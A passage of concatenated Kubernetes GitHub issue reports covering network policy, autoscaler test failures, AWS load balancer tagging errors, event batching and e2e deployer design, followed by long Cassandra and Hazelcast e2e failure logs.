compiler:\ gc\ , platform:\ linux/amd64\ }\r - os  e.g. from /etc/os-release :\r centos 7\r - kernel  e.g.  uname -a  :\r 4.14.15\r - install tools:\r - others:\r

   \r \r   what happened  :\r example from https://v1-10.docs.kubernetes.io/docs/tasks/administer-cluster/declare-network-policy/  isn't working. when i call services before change networking policies, no changes happen\r \r   what you expected to happen  :\r timeout inside pod before changes \r   how to reproduce it  as minimally and precisely as possible   :\r \r following this docs https://v1-10.docs.kubernetes.io/docs/tasks/administer-cluster/declare-network-policy/ \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: v1.10.1\r server version: v1.8.11\r \r - cloud provider or hardware configuration:\r azure - aks\r - os  e.g. from /etc/os-release :\r linux \r - kernel  e.g.  uname -a  :\r - install tools: aks\r - others:\r

in autoscaling tests, we verify that when a node suddenly disappears from the cluster, cluster autoscaler will add another one to replace it. with taintnodesbycondition  enabled by default in  62111 , this is now failing:\r \r https://k8s-testgrid.appspot.com/sig-autoscaling-cluster-autoscaler gci-gce-autoscaling\r \r every time a node disappears, a subset of pods become nodelost and aren't rescheduled on a new node. \r \r /cc @k82cn @bsalamat  \r 

hello k8s lovers and devs!  quick question, we're currently working on getting kubernetes up and running in aws, however i've run into a little snag.  one of the things we'd love to do is have kubernetes automatically generate an elb for spun up services by our devs using the \ loadbalancer\  service type.  currently, our node instances have two security groups, one that allows communication within the private vpc and its subnets, and one that allows for outbound nat traffic.   worth noting that our ec2 kube node instances are in private subnets   with that being said, we are consistently seeing this error:        6m        9s  52  {service-controller }       warning creatingloadbalancerfailed  error creating load balancer  will retry : failed to create load balancer for service bryant/id-staging-db: multiple tagged security groups found for instance i-07727b3; ensure only the k8s security group is tagged      having dug into the source code, i can't find anything specific that should be tagged in the security group itself save for a  kubernetescluster  tag.  so we erased all tags on our one security group, which then allowed for only one security group to actually be tagged, and just for good measure added the  kubernetescluster  tag noted in https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/aws/aws.go.  any thoughts as to what may be happening here?  i know there is active discussion in the issues about securitygroup things that need to be cleaned up in k8s, but wondering for now what the best option is to get this working.  in theory, the elbs could just be internal, and we can then just route to them, but it would also be great to have it working with quick and simple internet access when a service is created.

i think it would be great if the post /event rest endpoint  or a new special purpose endpoint  accepted some way of making multiple events at once, either an array of events or a stream of json encoded events.  this would allow components to locally queue up events and send one post per  e.g.  10s instead of a post per event. this could potentially reduce apiserver qps quite a bit.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce-autoscaling/772/  failed:  k8s.io  cluster size autoscaling  slow  should increase cluster size if pending pods are small  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:133 expected error:     < errors.errorstring | 0xc820922030>: {         s: \ timeout waiting 5m0s for appropriate cluster size\ ,     }     timeout waiting 5m0s for appropriate cluster size not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:131

i would like some guidance on an idea i have about the deployer that we are using with e2e.  we now have multiple deployers:\r \r https://github.com/kubernetes/kubernetes/blob/master/hack/e2e.go l478\r \r    \r         case \ bash\ :\r \t\treturn bash{}, nil\r \tcase \ kops\ :\r \t\treturn newkops  \r \tcase \ kubernetes-anywhere\ :\r \t\treturn newkubernetesanywhere  \r \tdefault:\r \t\treturn nil, fmt.errorf \ unknown deployment strategy %q\ ,  deployment \r    \r \r would it make sense to turn each one of those into an interface definition?  for example, i have my  super-complicated-awsome-deployer .  i do not want to submit another pr to use my  super-complicated-awesome-deployer .  i would like to vendor k8s and provide an interface to e2e.\r \r help me out golang super gurus.  what pattern is this again?\r \r cc: @kubernetes/sig-testing @kubernetes/aws @zmerlynn @kris-nova\r \r @justinsb / @zmerlynn can you assign this to me please\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-examples/3547/ multiple broken tests:  failed:  k8s.io   feature:example   k8s.io  cassandrastatefulset should create statefulset {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:333 expected error:     <exec.codeexiterror>: {         err: {             s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.154.154.45 --kubeconfig=/workspace/.kube/config create -f examples/storage/cassandra/cassandra-service.yaml --namespace=e2e-tests-examples-6hdxf      <nil>  error: the path \\\ examples/storage/cassandra/cassandra-service.yaml\\\  does not exist\     <nil> 0xc4215066f0 exit status 1 <nil> <nil> true  0xc420036630 0xc420036648 0xc420036660   0xc420036630 0xc420036648 0xc420036660   0xc420036640 0xc420036658   0xc45f00 0xc45f00  0xc421330120 <nil>}:\ command stdout:\ \ stderr:\ error: the path \\\ examples/storage/cassandra/cassandra-service.yaml\\\  does not exist\ \ error:\ exit status 1\ \ ,         },         code: 1,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.154.154.45 --kubeconfig=/workspace/.kube/config create -f examples/storage/cassandra/cassandra-service.yaml --namespace=e2e-tests-examples-6hdxf      <nil>  error: the path \ examples/storage/cassandra/cassandra-service.yaml\  does not exist         <nil> 0xc4215066f0 exit status 1 <nil> <nil> true  0xc420036630 0xc420036648 0xc420036660   0xc420036630 0xc420036648 0xc420036660   0xc420036640 0xc420036658   0xc45f00 0xc45f00  0xc421330120 <nil>}:     command stdout:          stderr:     error: the path \ examples/storage/cassandra/cassandra-service.yaml\  does not exist          error:     exit status 1      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2095     issues about this test specifically:  36323  36469  38222   failed: test {e2e.go}      exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048   failed:  k8s.io   feature:example   k8s.io  cassandra should create and scale cassandra {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:261 expected error:     < errors.errorstring | 0xc420bd14e0>: {         s: \ failed to find \\\ starting listening for cql clients\\\ , last result: \\\ starting cassandra on 10.180.3.12\ cassandra_conf_dir /etc/cassandra\ cassandra_cfg /etc/cassandra/cassandra.yaml\ cassandra_auto_bootstrap true\ cassandra_broadcast_address 10.180.3.12\ cassandra_broadcast_rpc_address 10.180.3.12\ cassandra_cluster_name 'test cluster'\ cassandra_compaction_throughput_mb_per_sec\ cassandra_concurrent_compactors\ cassandra_concurrent_reads\ cassandra_concurrent_writes\ cassandra_counter_cache_size_in_mb\ cassandra_dc\ cassandra_disk_optimization_strategy ssd\ cassandra_endpoint_snitch simplesnitch\ cassandra_gc_warn_threshold_in_ms\ cassandra_internode_compression\ cassandra_key_cache_size_in_mb\ cassandra_listen_address 10.180.3.12\ cassandra_listen_interface\ cassandra_memtable_allocation_type\ cassandra_memtable_cleanup_threshold\ cassandra_memtable_flush_writers\ cassandra_migration_wait 1\ cassandra_num_tokens 32\ cassandra_rack\ cassandra_ring_delay 30000\ cassandra_rpc_address 0.0.0.0\ cassandra_rpc_interface\ cassandra_seeds cassandra-dq8jn\ cassandra_seed_provider io.k8s.cassandra.kubernetesseedprovider\ changed ownership of '/etc/cassandra/logback.xml' from root to cassandra\ changed ownership of '/etc/cassandra/cassandra.yaml' from root to cassandra\ changed ownership of '/etc/cassandra/cassandra-env.sh' from root to cassandra\ changed ownership of '/etc/cassandra/jvm.options' from root to cassandra\ changed ownership of '/etc/cassandra' from root to cassandra\ openjdk 64-bit server vm warning: cannot open file /usr/local/apache-cassandra-3.9/logs/gc.log due to no such file or directory\ \ info  20:56:18 configuration location: file:/etc/cassandra/cassandra.yaml\ info  20:56:19 node configuration: allocate_tokens_for_keyspace=null; authenticator=allowallauthenticator; authorizer=allowallauthorizer; auto_bootstrap=true; auto_snapshot=true; batch_size_fail_threshold_in_kb=50; batch_size_warn_threshold_in_kb=5; batchlog_replay_throttle_in_kb=1024; broadcast_address=10.180.3.12; broadcast_rpc_address=10.180.3.12; buffer_pool_use_heap_if_exhausted=true; cas_contention_timeout_in_ms=1000; cdc_enabled=false; cdc_free_space_check_interval_ms=250; cdc_raw_directory=null; cdc_total_space_in_mb=null; client_encryption_options=<redacted>; cluster_name=test cluster; column_index_cache_size_in_kb=2; column_index_size_in_kb=64; commit_failure_policy=stop; commitlog_compression=null; commitlog_directory=/cassandra_data/commitlog; commitlog_max_compression_buffers_in_pool=3; commitlog_periodic_queue_size=-1; commitlog_segment_size_in_mb=32; commitlog_sync=periodic; commitlog_sync_batch_window_in_ms=null; commitlog_sync_period_in_ms=10000; commitlog_total_space_in_mb=null; compaction_large_partition_warning_threshold_mb=100; compaction_throughput_mb_per_sec=16; concurrent_compactors=null; concurrent_counter_writes=32; concurrent_materialized_view_writes=32; concurrent_reads=32; concurrent_replicates=null; concurrent_writes=32; counter_cache_keys_to_save=2147483647; counter_cache_save_period=7200; counter_cache_size_in_mb=null; counter_write_request_timeout_in_ms=5000; credentials_cache_max_entries=1000; credentials_update_interval_in_ms=-1; credentials_validity_in_ms=2000; cross_node_timeout=false; data_file_directories= ljava.lang.string;@11dc3715; disk_access_mode=auto; disk_failure_policy=stop; disk_optimization_estimate_percentile=0.95; disk_optimization_page_cross_chance=0.1; disk_optimization_strategy=ssd; dynamic_snitch=true; dynamic_snitch_badness_threshold=0.1; dynamic_snitch_reset_interval_in_ms=600000; dynamic_snitch_update_interval_in_ms=100; enable_scripted_user_defined_functions=false; enable_user_defined_functions=false; enable_user_defined_functions_threads=true; encryption_options=null; endpoint_snitch=simplesnitch; file_cache_size_in_mb=null; gc_log_threshold_in_ms=200; gc_warn_threshold_in_ms=1000; hinted_handoff_disabled_datacenters=  ; hinted_handoff_enabled=true; hinted_handoff_throttle_in_kb=1024; hints_compression=null; hints_directory=/cassandra_data/hints; hints_flush_period_in_ms=10000; incremental_backups=false; index_interval=null; index_summary_capacity_in_mb=null; index_summary_resize_interval_in_minutes=60; initial_token=null; inter_dc_stream_throughput_outbound_megabits_per_sec=200; inter_dc_tcp_nodelay=false; internode_authenticator=null; internode_compression=all; internode_recv_buff_size_in_bytes=null; internode_send_buff_size_in_bytes=null; key_cache_keys_to_save=2147483647; key_cache_save_period=14400; key_cache_size_in_mb=null; listen_address=10.180.3.12; listen_interface=null; listen_interface_prefer_ipv6=false; listen_on_broadcast_address=false; max_hint_window_in_ms=10800000; max_hints_delivery_threads=2; max_hints_file_size_in_mb=128; max_mutation_size_in_kb=null; max_streaming_retries=3; max_value_size_in_mb=256; memtable_allocation_type=heap_buffers; memtable_cleanup_threshold=null; memtable_flush_writers=1; memtable_heap_space_in_mb=null; memtable_offheap_space_in_mb=null; min_free_space_per_drive_in_mb=50; native_transport_max_concurrent_connections=-1; native_transport_max_concurrent_connections_per_ip=-1; native_transport_max_frame_size_in_mb=256; native_transport_max_threads=128; native_transport_port=9042; native_transport_port_ssl=null; num_tokens=32; otc_coalescing_strategy=timehorizon; otc_coalescing_window_us=200; partitioner=org.apache.cassandra.dht.murmur3partitioner; permissions_cache_max_entries=1000; permissions_update_interval_in_ms=-1; permissions_validity_in_ms=2000; phi_convict_threshold=8.0; prepared_statements_cache_size_mb=null; range_request_timeout_in_ms=10000; read_request_timeout_in_ms=5000; request_scheduler=org.apache.cassandra.scheduler.noscheduler; request_scheduler_id=null; request_scheduler_options=null; request_timeout_in_ms=10000; role_manager=cassandrarolemanager; roles_cache_max_entries=1000; roles_update_interval_in_ms=-1; roles_validity_in_ms=2000; row_cache_class_name=org.apache.cassandra.cache.ohcprovider; row_cache_keys_to_save=2147483647; row_cache_save_period=0; row_cache_size_in_mb=0; rpc_address=0.0.0.0; rpc_interface=null; rpc_interface_prefer_ipv6=false; rpc_keepalive=true; rpc_listen_backlog=50; rpc_max_threads=2147483647; rpc_min_threads=16; rpc_port=9160; rpc_recv_buff_size_in_bytes=null; rpc_send_buff_size_in_bytes=null; rpc_server_type=sync; saved_caches_directory=/cassandra_data/saved_caches; seed_provider=io.k8s.cassandra.kubernetesseedprovider{seeds=cassandra-dq8jn}; server_encryption_options=<redacted>; snapshot_before_compaction=false; ssl_storage_port=7001; sstable_preemptive_open_interval_in_mb=50; start_native_transport=true; start_rpc=false; storage_port=7000; stream_throughput_outbound_megabits_per_sec=200; streaming_socket_timeout_in_ms=86400000; thrift_framed_transport_size_in_mb=15; thrift_max_message_length_in_mb=16; thrift_prepared_statements_cache_size_mb=null; tombstone_failure_threshold=100000; tombstone_warn_threshold=1000; tracetype_query_ttl=86400; tracetype_repair_ttl=604800; transparent_data_encryption_options=org.apache.cassandra.config.transparentdataencryptionoptions@69930714; trickle_fsync=false; trickle_fsync_interval_in_kb=10240; truncate_request_timeout_in_ms=60000; unlogged_batch_across_partitions_warn_threshold=10; user_defined_function_fail_timeout=1500; user_defined_function_warn_timeout=500; user_function_timeout_policy=die; windows_timer_interval=1; write_request_timeout_in_ms=2000 \ info  20:56:19 diskaccessmode 'auto' determined to be mmap, indexaccessmode is mmap\ info  20:56:19 global memtable on-heap threshold is enabled at 128mb\ info  20:56:19 global memtable off-heap threshold is enabled at 128mb\ exception  org.apache.cassandra.exceptions.configurationexception  encountered during startup: io.k8s.cassandra.kubernetesseedprovider\ fatal configuration error; unable to start server.  see log for stacktrace.\ org.apache.cassandra.exceptions.configurationexception: io.k8s.cassandra.kubernetesseedprovider\ fatal configuration error; unable to start server.  see log for stacktrace.\ \\tat org.apache.cassandra.config.databasedescriptor.applyconfig databasedescriptor.java:782 \ \\tat org.apache.cassandra.config.databasedescriptor.<clinit> databasedescriptor.java:125 \ \\tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:576 \ \\tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730 \ error 20:56:19 exception encountered during startup\ org.apache.cassandra.exceptions.configurationexception: io.k8s.cassandra.kubernetesseedprovider\ fatal configuration error; unable to start server.  see log for stacktrace.\ \\tat org.apache.cassandra.config.databasedescriptor.applyconfig databasedescriptor.java:782  ~ apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.config.databasedescriptor.<clinit> databasedescriptor.java:125  ~ apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:576   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730   apache-cassandra-3.9.jar:3.9 \ \\\ \ ,     }     failed to find \ starting listening for cql clients\ , last result: \ starting cassandra on 10.180.3.12     cassandra_conf_dir /etc/cassandra     cassandra_cfg /etc/cassandra/cassandra.yaml     cassandra_auto_bootstrap true     cassandra_broadcast_address 10.180.3.12     cassandra_broadcast_rpc_address 10.180.3.12     cassandra_cluster_name 'test cluster'     cassandra_compaction_throughput_mb_per_sec     cassandra_concurrent_compactors     cassandra_concurrent_reads     cassandra_concurrent_writes     cassandra_counter_cache_size_in_mb     cassandra_dc     cassandra_disk_optimization_strategy ssd     cassandra_endpoint_snitch simplesnitch     cassandra_gc_warn_threshold_in_ms     cassandra_internode_compression     cassandra_key_cache_size_in_mb     cassandra_listen_address 10.180.3.12     cassandra_listen_interface     cassandra_memtable_allocation_type     cassandra_memtable_cleanup_threshold     cassandra_memtable_flush_writers     cassandra_migration_wait 1     cassandra_num_tokens 32     cassandra_rack     cassandra_ring_delay 30000     cassandra_rpc_address 0.0.0.0     cassandra_rpc_interface     cassandra_seeds cassandra-dq8jn     cassandra_seed_provider io.k8s.cassandra.kubernetesseedprovider     changed ownership of '/etc/cassandra/logback.xml' from root to cassandra     changed ownership of '/etc/cassandra/cassandra.yaml' from root to cassandra     changed ownership of '/etc/cassandra/cassandra-env.sh' from root to cassandra     changed ownership of '/etc/cassandra/jvm.options' from root to cassandra     changed ownership of '/etc/cassandra' from root to cassandra     openjdk 64-bit server vm warning: cannot open file /usr/local/apache-cassandra-3.9/logs/gc.log due to no such file or directory          info  20:56:18 configuration location: file:/etc/cassandra/cassandra.yaml     info  20:56:19 node configuration: allocate_tokens_for_keyspace=null; authenticator=allowallauthenticator; authorizer=allowallauthorizer; auto_bootstrap=true; auto_snapshot=true; batch_size_fail_threshold_in_kb=50; batch_size_warn_threshold_in_kb=5; batchlog_replay_throttle_in_kb=1024; broadcast_address=10.180.3.12; broadcast_rpc_address=10.180.3.12; buffer_pool_use_heap_if_exhausted=true; cas_contention_timeout_in_ms=1000; cdc_enabled=false; cdc_free_space_check_interval_ms=250; cdc_raw_directory=null; cdc_total_space_in_mb=null; client_encryption_options=<redacted>; cluster_name=test cluster; column_index_cache_size_in_kb=2; column_index_size_in_kb=64; commit_failure_policy=stop; commitlog_compression=null; commitlog_directory=/cassandra_data/commitlog; commitlog_max_compression_buffers_in_pool=3; commitlog_periodic_queue_size=-1; commitlog_segment_size_in_mb=32; commitlog_sync=periodic; commitlog_sync_batch_window_in_ms=null; commitlog_sync_period_in_ms=10000; commitlog_total_space_in_mb=null; compaction_large_partition_warning_threshold_mb=100; compaction_throughput_mb_per_sec=16; concurrent_compactors=null; concurrent_counter_writes=32; concurrent_materialized_view_writes=32; concurrent_reads=32; concurrent_replicates=null; concurrent_writes=32; counter_cache_keys_to_save=2147483647; counter_cache_save_period=7200; counter_cache_size_in_mb=null; counter_write_request_timeout_in_ms=5000; credentials_cache_max_entries=1000; credentials_update_interval_in_ms=-1; credentials_validity_in_ms=2000; cross_node_timeout=false; data_file_directories= ljava.lang.string;@11dc3715; disk_access_mode=auto; disk_failure_policy=stop; disk_optimization_estimate_percentile=0.95; disk_optimization_page_cross_chance=0.1; disk_optimization_strategy=ssd; dynamic_snitch=true; dynamic_snitch_badness_threshold=0.1; dynamic_snitch_reset_interval_in_ms=600000; dynamic_snitch_update_interval_in_ms=100; enable_scripted_user_defined_functions=false; enable_user_defined_functions=false; enable_user_defined_functions_threads=true; encryption_options=null; endpoint_snitch=simplesnitch; file_cache_size_in_mb=null; gc_log_threshold_in_ms=200; gc_warn_threshold_in_ms=1000; hinted_handoff_disabled_datacenters=  ; hinted_handoff_enabled=true; hinted_handoff_throttle_in_kb=1024; hints_compression=null; hints_directory=/cassandra_data/hints; hints_flush_period_in_ms=10000; incremental_backups=false; index_interval=null; index_summary_capacity_in_mb=null; index_summary_resize_interval_in_minutes=60; initial_token=null; inter_dc_stream_throughput_outbound_megabits_per_sec=200; inter_dc_tcp_nodelay=false; internode_authenticator=null; internode_compression=all; internode_recv_buff_size_in_bytes=null; internode_send_buff_size_in_bytes=null; key_cache_keys_to_save=2147483647; key_cache_save_period=14400; key_cache_size_in_mb=null; listen_address=10.180.3.12; listen_interface=null; listen_interface_prefer_ipv6=false; listen_on_broadcast_address=false; max_hint_window_in_ms=10800000; max_hints_delivery_threads=2; max_hints_file_size_in_mb=128; max_mutation_size_in_kb=null; max_streaming_retries=3; max_value_size_in_mb=256; memtable_allocation_type=heap_buffers; memtable_cleanup_threshold=null; memtable_flush_writers=1; memtable_heap_space_in_mb=null; memtable_offheap_space_in_mb=null; min_free_space_per_drive_in_mb=50; native_transport_max_concurrent_connections=-1; native_transport_max_concurrent_connections_per_ip=-1; native_transport_max_frame_size_in_mb=256; native_transport_max_threads=128; native_transport_port=9042; native_transport_port_ssl=null; num_tokens=32; otc_coalescing_strategy=timehorizon; otc_coalescing_window_us=200; partitioner=org.apache.cassandra.dht.murmur3partitioner; permissions_cache_max_entries=1000; permissions_update_interval_in_ms=-1; permissions_validity_in_ms=2000; phi_convict_threshold=8.0; prepared_statements_cache_size_mb=null; range_request_timeout_in_ms=10000; read_request_timeout_in_ms=5000; request_scheduler=org.apache.cassandra.scheduler.noscheduler; request_scheduler_id=null; request_scheduler_options=null; request_timeout_in_ms=10000; role_manager=cassandrarolemanager; roles_cache_max_entries=1000; roles_update_interval_in_ms=-1; roles_validity_in_ms=2000; row_cache_class_name=org.apache.cassandra.cache.ohcprovider; row_cache_keys_to_save=2147483647; row_cache_save_period=0; row_cache_size_in_mb=0; rpc_address=0.0.0.0; rpc_interface=null; rpc_interface_prefer_ipv6=false; rpc_keepalive=true; rpc_listen_backlog=50; rpc_max_threads=2147483647; rpc_min_threads=16; rpc_port=9160; rpc_recv_buff_size_in_bytes=null; rpc_send_buff_size_in_bytes=null; rpc_server_type=sync; saved_caches_directory=/cassandra_data/saved_caches; seed_provider=io.k8s.cassandra.kubernetesseedprovider{seeds=cassandra-dq8jn}; server_encryption_options=<redacted>; snapshot_before_compaction=false; ssl_storage_port=7001; sstable_preemptive_open_interval_in_mb=50; start_native_transport=true; start_rpc=false; storage_port=7000; stream_throughput_outbound_megabits_per_sec=200; streaming_socket_timeout_in_ms=86400000; thrift_framed_transport_size_in_mb=15; thrift_max_message_length_in_mb=16; thrift_prepared_statements_cache_size_mb=null; tombstone_failure_threshold=100000; tombstone_warn_threshold=1000; tracetype_query_ttl=86400; tracetype_repair_ttl=604800; transparent_data_encryption_options=org.apache.cassandra.config.transparentdataencryptionoptions@69930714; trickle_fsync=false; trickle_fsync_interval_in_kb=10240; truncate_request_timeout_in_ms=60000; unlogged_batch_across_partitions_warn_threshold=10; user_defined_function_fail_timeout=1500; user_defined_function_warn_timeout=500; user_function_timeout_policy=die; windows_timer_interval=1; write_request_timeout_in_ms=2000      info  20:56:19 diskaccessmode 'auto' determined to be mmap, indexaccessmode is mmap     info  20:56:19 global memtable on-heap threshold is enabled at 128mb     info  20:56:19 global memtable off-heap threshold is enabled at 128mb     exception  org.apache.cassandra.exceptions.configurationexception  encountered during startup: io.k8s.cassandra.kubernetesseedprovider     fatal configuration error; unable to start server.  see log for stacktrace.     org.apache.cassandra.exceptions.configurationexception: io.k8s.cassandra.kubernetesseedprovider     fatal configuration error; unable to start server.  see log for stacktrace.     \tat org.apache.cassandra.config.databasedescriptor.applyconfig databasedescriptor.java:782      \tat org.apache.cassandra.config.databasedescriptor.<clinit> databasedescriptor.java:125      \tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:576      \tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730      error 20:56:19 exception encountered during startup     org.apache.cassandra.exceptions.configurationexception: io.k8s.cassandra.kubernetesseedprovider     fatal configuration error; unable to start server.  see log for stacktrace.     \tat org.apache.cassandra.config.databasedescriptor.applyconfig databasedescriptor.java:782  ~ apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.config.databasedescriptor.<clinit> databasedescriptor.java:125  ~ apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:576   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730   apache-cassandra-3.9.jar:3.9      \  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:250     issues about this test specifically:  27978  28817  39574   failed:  k8s.io   feature:example   k8s.io  hazelcast should create and scale hazelcast {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:571 expected error:     < errors.errorstring | 0xc422161080>: {         s: \ failed to find \\\ members  2 \\\ , last result: \\\ 2017-03-13 20:58:24.010  info 6 ---             main  com.github.pires.hazelcast.application   : starting application on hazelcast-1880832617-lmtpb with pid 6  /bootstrapper.jar started by root in / \ 2017-03-13 20:58:24.023  info 6 ---             main  com.github.pires.hazelcast.application   : no active profile set, falling back to default profiles: default\ 2017-03-13 20:58:24.177  info 6 ---             main  s.c.a.annotationconfigapplicationcontext : refreshing org.springframework.context.annotation.annotationconfigapplicationcontext@14514713: startup date  mon mar 13 20:58:24 gmt 2017 ; root of context hierarchy\ 2017-03-13 20:58:26.209  info 6 ---             main  o.s.j.e.a.annotationmbeanexporter        : registering beans for jmx exposure on startup\ 2017-03-13 20:58:26.230  info 6 ---             main  c.g.p.h.hazelcastdiscoverycontroller     : asking k8s registry at https://kubernetes.default.svc.cluster.local..\ 2017-03-13 20:58:26.713  warn 6 ---             main  c.g.p.h.hazelcastdiscoverycontroller     : request to kubernetes api failed\ \ java.io.ioexception: server returned http response code: 403 for url: https://kubernetes.default.svc.cluster.local/api/v1/namespaces/default/endpoints/hazelcast\ \\tat sun.net.www.protocol.http.httpurlconnection.getinputstream0 httpurlconnection.java:1876  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.http.httpurlconnection.getinputstream httpurlconnection.java:1474  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.https.httpsurlconnectionimpl.getinputstream httpsurlconnectionimpl.java:254  ~ na:1.8.0_111 \ \\tat com.github.pires.hazelcast.hazelcastdiscoverycontroller.run hazelcastdiscoverycontroller.java:118  ~ classes!/:na \ \\tat org.springframework.boot.springapplication.callrunner springapplication.java:801   spring-boot-1.4.4.release.jar!/:1.4.4.release \ \\tat org.springframework.boot.springapplication.callrunners springapplication.java:785   spring-boot-1.4.4.release.jar!/:1.4.4.release \ \\tat org.springframework.boot.springapplication.afterrefresh springapplication.java:772   spring-boot-1.4.4.release.jar!/:1.4.4.release \ \\tat org.springframework.boot.springapplication.run springapplication.java:317   spring-boot-1.4.4.release.jar!/:1.4.4.release \ \\tat org.springframework.boot.builder.springapplicationbuilder.run springapplicationbuilder.java:134   spring-boot-1.4.4.release.jar!/:1.4.4.release \ \\tat com.github.pires.hazelcast.application.main application.java:28   classes!/:na \ \\tat sun.reflect.nativemethodaccessorimpl.invoke0 native method  ~ na:1.8.0_111 \ \\tat sun.reflect.nativemethodaccessorimpl.invoke nativemethodaccessorimpl.java:62  ~ na:1.8.0_111 \ \\tat sun.reflect.delegatingmethodaccessorimpl.invoke delegatingmethodaccessorimpl.java:43  ~ na:1.8.0_111 \ \\tat java.lang.reflect.method.invoke method.java:498  ~ na:1.8.0_111 \ \\tat org.springframework.boot.loader.mainmethodrunner.run mainmethodrunner.java:48   bootstrapper.jar:na \ \\tat org.springframework.boot.loader.launcher.launch launcher.java:87   bootstrapper.jar:na \ \\tat org.springframework.boot.loader.launcher.launch launcher.java:50   bootstrapper.jar:na \ \\tat org.springframework.boot.loader.jarlauncher.main jarlauncher.java:51   bootstrapper.jar:na \ \ 2017-03-13 20:58:26.714  info 6 ---             main  c.g.p.h.hazelcastdiscoverycontroller     : found 0 pods running hazelcast.\ 2017-03-13 20:58:26.867  info 6 ---             main  c.h.instance.defaultaddresspicker        :  local   somegroup   3.7.5  interfaces is disabled, trying to pick one address from tcp-ip config addresses:   \ 2017-03-13 20:58:26.869  info 6 ---             main  c.h.instance.defaultaddresspicker        :  local   somegroup   3.7.5  prefer ipv4 stack is true.\ 2017-03-13 20:58:26.870  warn 6 ---             main  c.h.instance.defaultaddresspicker        :  local   somegroup   3.7.5  could not find a matching address to start with! picking one of non-loopback addresses.\ 2017-03-13 20:58:26.886  info 6 ---             main  c.h.instance.defaultaddresspicker        :  local   somegroup   3.7.5  picked  10.180.3.13 :5701, using socket serversocket addr=/0:0:0:0:0:0:0:0,localport=5701 , bind any local is true\ 2017-03-13 20:58:26.922  info 6 ---             main  com.hazelcast.system                     :  10.180.3.13 :5701  somegroup   3.7.5  hazelcast 3.7.5  20170124 - 111f332  starting at  10.180.3.13 :5701\ 2017-03-13 20:58:26.923  info 6 ---             main  com.hazelcast.system                     :  10.180.3.13 :5701  somegroup   3.7.5  copyright  c  2008-2016, hazelcast, inc. all rights reserved.\ 2017-03-13 20:58:26.923  info 6 ---             main  com.hazelcast.system                     :  10.180.3.13 :5701  somegroup   3.7.5  configured hazelcast serialization version : 1\ 2017-03-13 20:58:27.392  info 6 ---             main  c.h.s.i.o.impl.backpressureregulator     :  10.180.3.13 :5701  somegroup   3.7.5  backpressure is disabled\ 2017-03-13 20:58:28.338  info 6 ---             main  com.hazelcast.instance.node              :  10.180.3.13 :5701  somegroup   3.7.5  creating tcpipjoiner\ 2017-03-13 20:58:28.596  info 6 ---             main  c.h.s.i.o.impl.operationexecutorimpl     :  10.180.3.13 :5701  somegroup   3.7.5  starting 2 partition threads\ 2017-03-13 20:58:28.598  info 6 ---             main  c.h.s.i.o.impl.operationexecutorimpl     :  10.180.3.13 :5701  somegroup   3.7.5  starting 3 generic threads  1 dedicated for  \ 2017-03-13 20:58:28.612  info 6 ---             main  com.hazelcast.core.lifecycleservice      :  10.180.3.13 :5701  somegroup   3.7.5   10.180.3.13 :5701 is starting\ 2017-03-13 20:58:28.618  info 6 ---             main  c.h.n.t.n.nonblockingiothreadingmodel    :  10.180.3.13 :5701  somegroup   3.7.5  tcpipconnectionmanager configured with non blocking io-threading model: 3 input threads and 3 output threads\ 2017-03-13 20:58:28.643  info 6 ---             main  com.hazelcast.cluster.impl.tcpipjoiner   :  10.180.3.13 :5701  somegroup   3.7.5  \ \ \ members  1  {\ \\tmember  10.180.3.13 :5701 - 7c2022ee-d9de-496d-9969-5d1da8ca1b31 this\ }\ \ 2017-03-13 20:58:28.721  info 6 ---             main  com.hazelcast.core.lifecycleservice      :  10.180.3.13 :5701  somegroup   3.7.5   10.180.3.13 :5701 is started\ 2017-03-13 20:58:28.726  info 6 ---             main  com.github.pires.hazelcast.application   : started application in 5.814 seconds  jvm running for 6.687 \ \\\ \ ,     }     failed to find \ members  2 \ , last result: \ 2017-03-13 20:58:24.010  info 6 ---             main  com.github.pires.hazelcast.application   : starting application on hazelcast-1880832617-lmtpb with pid 6  /bootstrapper.jar started by root in /      2017-03-13 20:58:24.023  info 6 ---             main  com.github.pires.hazelcast.application   : no active profile set, falling back to default profiles: default     2017-03-13 20:58:24.177  info 6 ---             main  s.c.a.annotationconfigapplicationcontext : refreshing 